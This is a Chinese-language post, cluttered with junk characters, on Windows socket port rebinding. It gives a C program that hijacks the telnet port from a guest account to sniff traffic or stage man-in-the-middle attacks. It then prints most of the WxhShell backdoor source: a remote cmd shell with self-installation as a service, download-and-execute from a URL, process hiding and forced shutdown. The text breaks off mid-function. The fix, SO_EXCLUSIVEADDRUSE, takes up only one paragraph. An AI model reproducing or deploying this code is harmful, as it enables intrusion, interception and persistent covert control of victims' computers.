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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .R<s<] s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); } (GQDJp ;GSfN saddr.sin_family = AF_INET; 0qaG#&! h!JjN$ saddr.sin_addr.s_addr = htonl(INADDR_ANY); *aSR KY \nWzn4f bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nvUkbmZG# %r}KvJgd 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5
\.TZMB I5|S8d< 这意味着什么?意味着可以进行如下的攻击: a3E*%G *}Ae9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 iz,q8}/( LcQ\?]w`] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >Y*iy
Do{*cSd 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +wf& L wTJMq`sY_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 c,u$tnE) 9N3oVHc? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 802]M ZPG8q
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [/2@=Uh- 1{uDHB 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,y{fqa4 @_tA"E #include (*^E7
[w #include C*6bR? I9 #include 0ju wDd #include })=c:h& DWORD WINAPI ClientThread(LPVOID lpParam); #ui%=ja[:~ int main() \2LA%ZU { %/,Uk+3p WORD wVersionRequested; oqm{<g?2 DWORD ret; tX2>a WSADATA wsaData; U:\oGa84A BOOL val; )F9%^a( SOCKADDR_IN saddr; P$#}-15?|_ SOCKADDR_IN scaddr; _ER
cmP int err; (UiH3Q9C]% SOCKET s; )~o`QM+ SOCKET sc; 6`PGV+3j int caddsize; I{P$B- HANDLE mt; P)o[p( DWORD tid; I]S(tx! wVersionRequested = MAKEWORD( 2, 2 ); ,?skJ err = WSAStartup( wVersionRequested, &wsaData ); [>QsMUvak if ( err != 0 ) { /URj$| printf("error!WSAStartup failed!\n"); =P+wp{?AN| return -1; -T="Ml& } V:$1o saddr.sin_family = AF_INET; :~YyHX |D_n4#X7u //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ri.|EmH2:D ^ZZ@!Udy saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :.o0< saddr.sin_port = htons(23); *g_>eNpXD if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zqEZ+|c= { UgBY
){< printf("error!socket failed!\n"); p<.!::* %( return -1; k/f_@8 } 53#5p;k
val = TRUE; :<|fZa4!" //SO_REUSEADDR选项就是可以实现端口重绑定的 GTX&:5H\t if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )9P { $7ME a"a printf("error!setsockopt failed!\n"); NomK(%8m$ return -1; S %%qn } { l~T~3/i //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "PM:&v //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hYQ%|CBXBR //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >?\ !k
c lJp v if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 60gn`s,, { )"Yah ret=GetLastError(); CKK5+ printf("error!bind failed!\n"); 1>*<K/\qg return -1; ?9M+fi } trA `l/ listen(s,2); &~6O;}\ while(1) SVeU7Q6- { iONql7S @ caddsize = sizeof(scaddr); R3=E?us! //接受连接请求 Z~:lfCK` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0md{e`'q: if(sc!=INVALID_SOCKET) Kct +QO( { sm <kb@g mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8i~'~/x if(mt==NULL) Z%d4V<fn { :Gk~FRA| printf("Thread Creat Failed!\n"); ;^SgV break; y(g
Otg } LA3,e (e } X'p%$HsMG CloseHandle(mt); %6?}gc_ } ~H."{ closesocket(s); f)fw87UPc WSACleanup(); D($UbT-v return 0; m$j;FKz+| } BAed [ DWORD WINAPI ClientThread(LPVOID lpParam) ?=Qg { 5.;$9~d SOCKET ss = (SOCKET)lpParam; vK/Z9wR*05 SOCKET sc; 'GT`%c k unsigned char buf[4096]; ;\0RXirk SOCKADDR_IN saddr; uU"s50m long num; l0o_C#"<S DWORD val; 2)]*re) DWORD ret; D~);:}}> //如果是隐藏端口应用的话,可以在此处加一些判断 "6h.6_bTw //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ~Dh}E9E: saddr.sin_family = AF_INET; dg<fUQ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $^GnY7$!> saddr.sin_port = htons(23); \}c50}#0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p8bTR!rvz { s47"JKf" printf("error!socket failed!\n"); EPfVS return -1; $RO=r90o } < ,n4|z) val = 100; ,bg#pG!x Q if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jR:Fih-} { 6FAP *V; ret = GetLastError(); H2-( return -1; `UPmr50Wq } @[lr
F7`o if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
WR%iUO40 { CdjGYS ret = GetLastError(); 0}!lN{m? return -1; v.J#d>tvf } 0cVXUTJ|W if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
c7 -j { "Y6mM_flq printf("error!socket connect failed!\n"); F[Up closesocket(sc); [sRQd;+ closesocket(ss); DO;
2)ZQ% return -1; 9wzYDKN} } :}-[%LSV while(1) N\$6R-L { 9 R1]2U$| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 HF:PF"|3 //如果是嗅探内容的话,可以再此处进行内容分析和记录 d)HK9T|B //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x~.U,,1 num = recv(ss,buf,4096,0); ^W*/!q7H if(num>0) Zx{'S3W send(sc,buf,num,0); =T`-h"E~@ else if(num==0) A
|B](MW%O break; -0{WB(P num = recv(sc,buf,4096,0); TM;)[R@ if(num>0) E'}$'n?: send(ss,buf,num,0); dLq!t@?iu> else if(num==0) #</yX5!V break; /r6DPR0\ } O1"!'Gk[!L closesocket(ss); |9h[Q[m closesocket(sc); zc#`qa:0 return 0 ; Et(prmH } YL+W4ld jn'8F$GU TV}SKvu ========================================================== [F$3mzx J.*=7zmw 下边附上一个代码,,WXhSHELL $A,=z *MNY1+RJ ========================================================== 2= _.K( 6=FuH@Q& #include "stdafx.h" ~H.;pJ{ 8 x8^Dhpr6 #include <stdio.h> bYz:gbs]4| #include <string.h> sgX~4W"J #include <windows.h> U"Y$7~ #include <winsock2.h> PSE![whK #include <winsvc.h> l6~eb=u;9g #include <urlmon.h> k`d 9"rATgN1 #pragma comment (lib, "Ws2_32.lib") VC@o]t5 #pragma comment (lib, "urlmon.lib") 5R4 dN=L*1 q^s$4 q #define MAX_USER 100 // 最大客户端连接数 :JlJB #define BUF_SOCK 200 // sock buffer #S"=)BZ8L #define KEY_BUFF 255 // 输入 buffer `?)i/jko" /#a$4 }2L #define REBOOT 0 // 重启 y~\z_') <> #define SHUTDOWN 1 // 关机 >y?$aJ8ZV >,[(icyzn #define DEF_PORT 5000 // 监听端口 5o,82Kti ~Oq(JM
$M #define REG_LEN 16 // 注册表键长度 m4EkL #define SVC_LEN 80 // NT服务名长度 NH{0KZ
R MKbW^: // 从dll定义API :KQ<rLd typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <X: 9y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6|zA,-= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZjzQv)gZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :G!Kaa,r O_E[FE:+ // wxhshell配置信息 gw H6r3=y( struct WSCFG { Zffzyh int ws_port; // 监听端口 ]8RcZn char ws_passstr[REG_LEN]; // 口令 <+6)E@Y int ws_autoins; // 安装标记, 1=yes 0=no TY?Fs- char ws_regname[REG_LEN]; // 注册表键名 &ha39&I char ws_svcname[REG_LEN]; // 服务名 u~K4fP char ws_svcdisp[SVC_LEN]; // 服务显示名 yPL@uCzA@ char ws_svcdesc[SVC_LEN]; // 服务描述信息 =KX:&GU char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?xy~N?N int ws_downexe; // 下载执行标记, 1=yes 0=no qp7>_B char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" us/x.qPy2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o/Z?/alt4 k}/0B }; #q%&,;4 %zWtPxAf // default Wxhshell configuration GSypdEBj+w struct WSCFG wscfg={DEF_PORT, U5" C"+
3 "xuhuanlingzhe", BsxQW`>^y 1, <h(tW "Wxhshell", =x=#Etj| "Wxhshell", Nl1&na)K} "WxhShell Service", )jnxR${M "Wrsky Windows CmdShell Service", q
K]Wk+ "Please Input Your Password: ", IXg0g<JZ 1, Pj^6.f+ " http://www.wrsky.com/wxhshell.exe", D{c`H}/` "Wxhshell.exe" ucyxvhH^- }; }E*#VA0/nY kYx|`-PA<r // 消息定义模块 lE /" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k5|h8%h8 char *msg_ws_prompt="\n\r? for help\n\r#>"; gVA$P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 9"&HxyOfX char *msg_ws_ext="\n\rExit."; oveW )~4 char *msg_ws_end="\n\rQuit."; w
J; y4 char *msg_ws_boot="\n\rReboot..."; \T>f+0=4 char *msg_ws_poff="\n\rShutdown..."; iB{O"l@w
char *msg_ws_down="\n\rSave to "; B|#"dhT 9^XT,2Wwf char *msg_ws_err="\n\rErr!"; evq*&.6\ char *msg_ws_ok="\n\rOK!"; p,U.5bX >!?u8^C char ExeFile[MAX_PATH]; "QA!z\0\ int nUser = 0; {l![{ HANDLE handles[MAX_USER]; #TRPq>XzD int OsIsNt; D}Z].c@E FK0nQ{uB" SERVICE_STATUS serviceStatus; ur"ckuG!9 SERVICE_STATUS_HANDLE hServiceStatusHandle; Q@nxGm 6*Rz}RQ // 函数声明 Gw$U0 HA[, int Install(void); hK3?m.>"g int Uninstall(void); T-uI CMEf int DownloadFile(char *sURL, SOCKET wsh); QXniWJJ int Boot(int flag); %
?@PlQ void HideProc(void); M{Wla7 int GetOsVer(void); kF`2%g+ int Wxhshell(SOCKET wsl); yS %J$o& void TalkWithClient(void *cs); V\Cu|m&HI int CmdShell(SOCKET sock); ZF>zzi+@ int StartFromService(void); uveTx int StartWxhshell(LPSTR lpCmdLine); X*/jna"* ,_D`0B6o VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9ssTG4Sa VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5F18/:\n i.C+{QH // 数据结构和表定义 MZv In ZS SERVICE_TABLE_ENTRY DispatchTable[] = UzWf_r { .IE2d%]? {wscfg.ws_svcname, NTServiceMain}, iG!tRNQ{y {NULL, NULL} B~G?&"] }; ~K 5eO- P|Dw+lQj // 自我安装 WnyEdYA int Install(void) 7LbBS:@3z_ { D37N*9} char svExeFile[MAX_PATH]; Usx8
U HKEY key; 7jQOwzj strcpy(svExeFile,ExeFile); 9@9(zUS| s3Pr$h // 如果是win9x系统,修改注册表设为自启动 @G@,)`p4? if(!OsIsNt) { d="Oge8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dkVF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P-o/ax RegCloseKey(key); D2z" Z@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l 8qCg/ew RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mnh>gl!l RegCloseKey(key); QpxRYv return 0; OGpy\0% } b{%p } @ qy
n[C } NCR4n_ else { <&^P1x<x z~f Zg6 // 如果是NT以上系统,安装为系统服务 FOV%\=Hl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Jh`Pq,B: if (schSCManager!=0) lQ(I/[qVd { &\),V 1" SC_HANDLE schService = CreateService Aj#bhv ( DLggR3K_\ schSCManager, #[ZToE4 wscfg.ws_svcname, 6Y9F U wscfg.ws_svcdisp, O=m_P}K SERVICE_ALL_ACCESS, p)2
!_0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *9Ta0e* SERVICE_AUTO_START, s2F<H# SERVICE_ERROR_NORMAL, $1lI6 =
, svExeFile, +U9m NULL, sT8(f=^)8F NULL, f4[fXP;A NULL, 0i/!by{@ NULL, Ad7N'1O NULL RBuerap ); '^mCLfo0} if (schService!=0) ^EtBo7^t
{ $mgamWNE8w CloseServiceHandle(schService); (B+CI%=
D CloseServiceHandle(schSCManager); NSs"I] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |z.x M> strcat(svExeFile,wscfg.ws_svcname); Yx#?lA2gx if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c+S<U* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9d kuvk}: RegCloseKey(key); ?OjZb'+=K return 0; yBKEw(1 } 80m<OW1 } _L8|ZV./ CloseServiceHandle(schSCManager); X 8/9x-E_ } pzr\<U` } X%X`o%AqC <DeC^[-P return 1; >;qAj!' } dMd2a4 4e`GMtp // 自我卸载 W0-KFo.' int Uninstall(void) ~?6M4!u
{ meF.`fh HKEY key; OkNBP0e} CU`yi.)T{ if(!OsIsNt) { <ztcCRov if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }R&5Ye RegDeleteValue(key,wscfg.ws_regname); L.ML0H- RegCloseKey(key); @"h@4q/W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7=hISQMsVP RegDeleteValue(key,wscfg.ws_regname); u=QG%O#B RegCloseKey(key); Ot<vn34mt: return 0; {D{'
\]+ } 3aY^6& } (_0r'{` } !+EE*-c1c else { *`]#ntz9 [z[<onFIq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <sncW>?!~ if (schSCManager!=0) $-w&<U$E { ^{}$o#iof SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e)M)q!nG if (schService!=0) ~bD'QMk { ).$q9G if(DeleteService(schService)!=0) { p)e?0m26 CloseServiceHandle(schService); <$>Jsv CloseServiceHandle(schSCManager); Z1dLC'/b] return 0; CT0 ~ } wZnv*t_ CloseServiceHandle(schService); OD8{
/7 } o4t6NDa CloseServiceHandle(schSCManager); Dg=!d)\ } ISDeLUihY } $! R]!s 5jey%)= return 1; &:?2IAe } !;, Dlq-} ozOvpi:k3% // 从指定url下载文件 oMeIXb)z int DownloadFile(char *sURL, SOCKET wsh) $6DA<v^=z { )`,Y^`F2 HRESULT hr; *l.tsICmbP char seps[]= "/"; +:ih`q][b char *token; ZnNl3MKV char *file; [XbNZ6 char myURL[MAX_PATH]; GwM(E^AG char myFILE[MAX_PATH]; f=--$o0U~ vPce6 Cl* strcpy(myURL,sURL); S{fFpe- token=strtok(myURL,seps); Wz+7CRpeP while(token!=NULL) "CY#_) { [X^Oxs file=token; |kc#=b@l token=strtok(NULL,seps); n\w2e_g;N } x^V9;V@6 (iJ9ekB GetCurrentDirectory(MAX_PATH,myFILE); c]PG5f xf strcat(myFILE, "\\"); [4
y7tjar^ strcat(myFILE, file); dxi5p!^^9 send(wsh,myFILE,strlen(myFILE),0); krMO<(x+ send(wsh,"...",3,0); U+ANSW/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~5]%+G if(hr==S_OK) r7Zx<c return 0; rWULv else fWs @ZCt return 1; nm#,oX2C |))O3]- } .C\## jxqKPMf>@% // 系统电源模块 \(`8ng]vs int Boot(int flag) >_|$7m.?n[ { jz$ ]"\G# HANDLE hToken; 8;v/b3 TOKEN_PRIVILEGES tkp; <c.8f;1F 8)bqN$*h if(OsIsNt) { .K`EflN OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ),(HCzK` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {$QkerW3 tkp.PrivilegeCount = 1; qAW?\*n5N tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o2rL&
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); svvl`|n% if(flag==REBOOT) { Sp/<%+2( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l4$Iv: return 0; EE5mVC& } X" Upml else { _b"K,[0o if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y$y!{R@ return 0; "[dfb#0z` } %:}o\ _w } ''Hx& else { g[Q+DT if(flag==REBOOT) { "'74GY8, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I=2b)"t0 return 0; 8(>2+#exw } (v}4,'dS else { -pW*6??+? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T# .pi@PF> return 0; Sjp ]TWj } :nS$cC0x* } |8?DQhd} $X,dQ]M return 1; &embAqW: } SS6K7 $.x,[R
aN // win9x进程隐藏模块 Xp[x O 0 void HideProc(void) 2ElZ&(RZJF { h+ <Jv PiN^/#D HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l[<U UEjZJ if ( hKernel != NULL ) IU;a$ { ..7"<"uH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #z+?t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G!+Mu2 FreeLibrary(hKernel); Y @Ur} } a}Z+"D qTSe_Re return; Bo$dIn2_ } sa TS8p z ERy=lP~gV // 获取操作系统版本 HR;I}J 9 int GetOsVer(void) IGOEqUw* { _#qfe OSVERSIONINFO winfo; J7Mbv2D winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y5c[9\'\ GetVersionEx(&winfo); k [LV^oEg if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6Ad C return 1; _2Mpzv else Sc]G7_ return 0; {isL< } Y?$ h5(OjlMC // 客户端句柄模块 K^
ALE int Wxhshell(SOCKET wsl) ,m8mh)K?0> { 7"F29\ SOCKET wsh; p| ?FA@ 3 struct sockaddr_in client; \ef:H&r DWORD myID; ]tzF
Ob yfal'DqKF while(nUser<MAX_USER) >g m { W>5[_d int nSize=sizeof(client); ac\( [F- wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y::O*I2 if(wsh==INVALID_SOCKET) return 1; )KEW`BC5T #; f50j!r handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Au6Y] if(handles[nUser]==0) zez|l closesocket(wsh); +w-J;GLSy else PQp =bX, nUser++; :_tt9J } A $ ]s{` WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (k8}9[3G NWP!V@WG return 0; wSw> UU } <uxLG;R U
E$Ix // 关闭 socket tt#dO@G#Fe void CloseIt(SOCKET wsh) 0)M8Tm0$ { VZq~ -$ closesocket(wsh); GGf<9!: nUser--; J!2j]?D/e ExitThread(0); 6]4#8tR1_ } u88wSe<\X =~k
c7f{ // 客户端请求句柄 78Du void TalkWithClient(void *cs) ZPyzx\6\ { UoPY:(?;i 7}g4ePYag SOCKET wsh=(SOCKET)cs; z~ywFk}KGd char pwd[SVC_LEN]; 5mC"8N1) char cmd[KEY_BUFF]; yIrJaS- char chr[1]; JhfVm*, int i,j;
?C#E_ xM(H4.< while (nUser < MAX_USER) { N+h05` ^lAM /
if(wscfg.ws_passstr) { '3Lu_]I- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jn:_2g[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z9*e%$+S //ZeroMemory(pwd,KEY_BUFF); 7/
?QZN i=0; h%krA<G9 while(i<SVC_LEN) { y TD4![ Y}1c>5{bE // 设置超时 i=cST8!8N fd_set FdRead; l6y}>] struct timeval TimeOut; %/"n(?$W FD_ZERO(&FdRead); 0]kKF<s FD_SET(wsh,&FdRead); #3QPcoxa TimeOut.tv_sec=8; j/z=<jA TimeOut.tv_usec=0; B*,)@h int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _ i}W1i if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1^4:l!0D D2?H"PH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /\c'kMAW! pwd =chr[0]; kIVQ2hmv if(chr[0]==0xd || chr[0]==0xa) { {]< G=]' pwd=0; 80Dn!9j* break; M'PZ{6; } U}RBgPX! i++; Wn'a' } ch8a y%SxQA+\ // 如果是非法用户,关闭 socket s*ZE`/SM3 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ];OvV ,* } ;:fW]5"R S^eem_C send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z# ^fS
| send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @kWL "yy, UX@%1W!8 while(1) { #wI}93E
u]P| ZeroMemory(cmd,KEY_BUFF); a%T`c/C
"`$,qvNN // 自动支持客户端 telnet标准 RpQeQM= j=0; C9!t&<\} while(j<KEY_BUFF) { uiVNz8H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FH+X< cmd[j]=chr[0]; "bm|p/A if(chr[0]==0xa || chr[0]==0xd) { 0O9b
7F cmd[j]=0; qq/>E*~ break; #ES[),+|mB } >R+-mP!nj j++; %S`&R5 } >A$L&8'C &-3e3) // 下载文件 {p +&Q| if(strstr(cmd,"http://")) { b=,BLe\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); m/KaWrw/) if(DownloadFile(cmd,wsh)) m+<&NDj. send(wsh,msg_ws_err,strlen(msg_ws_err),0); HwUaaK
else BJj'91B[d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rwRZGd *p } ;W,* B.~ else { *;fTiL %Mda<3P switch(cmd[0]) { q)?%END qGk.7wf% // 帮助 KD kGQh#9 case '?': { * Gg7(cnpw send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )|~&(+Q?] break; B\J[O5}, } A{+/$7vek // 安装 q+?&w'8 case 'i': { <=4$.2ym if(Install()) 16iTE-J_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); M| (VM=~ else b)diYsTH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h4hAzFQ.s break; [V'c } LT%~Cuf // 卸载 Y~UuT8-c case 'r': { .>"xp6 if(Uninstall()) w
<r*& send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Awwt0 else Xf4Q Lw/r send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +^AdD8U break; mdc?~?? 8 } xA3_W // 显示 wxhshell 所在路径 iJ{axa & case 'p': { V%R]jbHZ# char svExeFile[MAX_PATH]; {"p ~M7 strcpy(svExeFile,"\n\r"); `oxBIn*BD strcat(svExeFile,ExeFile); D?KLV_Op send(wsh,svExeFile,strlen(svExeFile),0); QbJ7$, 4 break; gq('8*S } fzJiW@-T // 重启 rmjuNy=( case 'b': { *d8
%FQ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hC$e8t60 if(Boot(REBOOT)) ;~F*2) send(wsh,msg_ws_err,strlen(msg_ws_err),0); AF:_&gF else { T!x/^ closesocket(wsh);
^tTM
7 ExitThread(0); )
gl{ x
} c]*yo break; k)+{Y v* } qjRbsD> // 关机 27Gff(
case 'd': { rO}1E<g
( send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Sstz_t if(Boot(SHUTDOWN)) $?ss5:
S send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;1~ n|IY else { YMo8C( closesocket(wsh); %qV:h# ExitThread(0); V dJ } U R^r> break; P,8TO-e7 } rw)!>j+&A // 获取shell OI Fjc0 case 's': { Af\@J6viF7 CmdShell(wsh); +wj}x?ZeV closesocket(wsh); 2H;#L`Z* ExitThread(0); )7NK+k break; 5xc e1[ } %]F/!n // 退出 CL7_3^2qI case 'x': { +_X*one send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N(i.E5&9 CloseIt(wsh); 7oC8ID break; b|V<Kp } fx>QP?Z // 离开 hcW>R case 'q': { 3B]E2 send(wsh,msg_ws_end,strlen(msg_ws_end),0); fbM>jK closesocket(wsh); ;~1xhpTk WSACleanup(); Lt~&K$t7~ exit(1); 0[H/>%3O break; I>8_gp\1 } E;H9]*x/ } ~|<'@B!6 } |J@
&lBlq %V1j M // 提示信息 IPTFx
)]G if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <0Y<9+g! } aQHR=.S]X } k^d^Todq. ;[4=?GL* return; $J<WFDn9 } <^$ppwk$ ~[F7M{LS // shell模块句柄 s3sD7 @ int CmdShell(SOCKET sock) -F(luRBS(W { Ugo! STARTUPINFO si; G'Wp)W;])\ ZeroMemory(&si,sizeof(si)); 3
[#Rm>,Vu si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rosD)]I7 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7m%12=Im5 PROCESS_INFORMATION ProcessInfo; o/&K>]8M char cmdline[]="cmd"; -G7)Y: CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fVZ92Xw
B return 0; $v_&jE } tZx}/&m- ePq (.o // 自身启动模式 9,&xG\z= int StartFromService(void) OVxg9 { }tBw<7fe typedef struct <5Ll<0 { [zq2h3r DWORD ExitStatus; ;xUo(^t7> DWORD PebBaseAddress; CY.92I@S DWORD AffinityMask; @@-TW`G7 DWORD BasePriority; x|AND]^Q ULONG UniqueProcessId; m8
_yorz ULONG InheritedFromUniqueProcessId; mJ(ElDG } PROCESS_BASIC_INFORMATION; R-<8j`[0 O8>&J-+2 PROCNTQSIP NtQueryInformationProcess; pd`m//G p(="73 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O3T7O`H[ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t_16icF9U 2wPc
